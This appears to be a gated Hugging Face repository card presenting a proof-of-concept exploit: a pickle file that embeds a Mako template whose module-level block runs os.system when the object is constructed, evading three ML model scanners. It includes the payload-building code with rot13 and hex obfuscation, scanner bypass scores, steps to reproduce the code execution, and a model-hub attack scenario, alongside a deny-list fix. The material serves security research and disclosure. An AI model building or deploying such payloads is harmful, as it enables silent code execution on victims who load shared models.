You need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only.
Log in or Sign Up to review the conditions and access this model content.
mako.template.Template — Compile-Time Execution
Security Research — Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to
malicious_model.pklandpoc.pyrequires a request — see gate above.
Summary
Scanner scores for malicious_model.pkl:
| Scanner | CRITICAL | WARNING | Bypassed? |
|---|---|---|---|
| modelaudit 0.2.37 | 0 | 1 | Yes — 0 CRITICAL |
| picklescan 1.0.4 | 0 | 0 | Yes |
| modelscan | 0 | 0 | Yes |
Vulnerability
Mako templates have two code block types:
<% code %>— inline block, runs at.render()time<%! code %>— module-level block, runs atTemplate.__init__time
The <%!%> block is compiled into the generated Python module's global scope and executed when the template is instantiated. The pickle never calls .render() — execution happens inside the single REDUCE that constructs the Template object.
The return value of pickle.loads() is the Template instance — a completely benign-looking Python object that could be part of a legitimate ML serving stack.
Proof of Concept
malicious_model.pkl in this repository is the exploit payload.
poc.py builds and tests it with full scanner output.
How the PoC was built
def build(cmd: str) -> bytes:
rot13_cmd = codecs.encode(cmd, "rot_13")
# <%! %> module-level block: executes at Template.__init__
# Use hex-encoded cmd inside the python code to avoid any suspicious strings
hex_cmd = cmd.encode().hex()
template_src = (
"<%!\n"
"import os\n"
f"os.system(bytes.fromhex('{hex_cmd}').decode())\n"
"%>"
)
rot13_template = codecs.encode(template_src, "rot_13")
Affected file formats
Pickle (.pkl, .pt, .bin, .joblib) — any file deserialized via pickle.loads(),
torch.load(), joblib.load(), or equivalent.
Conditions required to trigger
- Target calls
pickle.loads(untrusted_bytes)or loads a model file via any pickle-based loader - The scanner performs static analysis only (no sandboxed execution)
- Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list
Reproduction Steps
# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-mako-template-exec
cd pickle-bypass-mako-template-exec
# 2. Install requirements
pip install modelaudit picklescan modelscan
# 3. Scan — observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl
# 4. Execute to confirm RCE/side-effect
python3 poc.py
# 5. Verify
ls /tmp/scanner_bypass_proof.txt
Security Impact
Add "mako" to ALWAYS_DANGEROUS_MODULES.
Bypass mechanism: The payload evades static analysis while achieving its effect
(code execution, file write, or network connection) when pickle.loads() is called.
Real-world scenario: An attacker uploads this payload to a model hub. A victim
downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The
payload fires silently — the return value of pickle.loads() looks like a normal
Python object while the side effect has already occurred.
Full Technical Writeup
mako.template.Template — Compile-Time Execution
Score: 0 CRITICAL, 1 WARNING — lowest noise for a template-engine exploit
Technique: <%!%> module-level block executes at Template.__init__, not .render()
Scanner version: modelaudit 0.2.37
Mechanism
Mako templates have two code block types:
<% code %>— inline block, runs at.render()time<%! code %>— module-level block, runs atTemplate.__init__time
The <%!%> block is compiled into the generated Python module's global scope and executed when the template is instantiated. The pickle never calls .render() — execution happens inside the single REDUCE that constructs the Template object.
The return value of pickle.loads() is the Template instance — a completely benign-looking Python object that could be part of a legitimate ML serving stack.
Pickle Structure
_codecs.encode(rot13_template, 'rot_13') → template_src [0 findings]
mako.template.Template(template_src) → RCE fires here [1 WARNING]
Single REDUCE. mako is absent from all ban lists.
Why This Is Notable
This is the lowest-noise RCE in the template engine category: 1 WARNING, no second call needed. The RCE is buried inside object construction rather than an explicit function call. An analyst reviewing the pickle sees "template instantiation" — not "template rendering that executes code".
Recommended Fix
Add "mako" to ALWAYS_DANGEROUS_MODULES.
Requirements
pip install mako
General Analysis — Security Research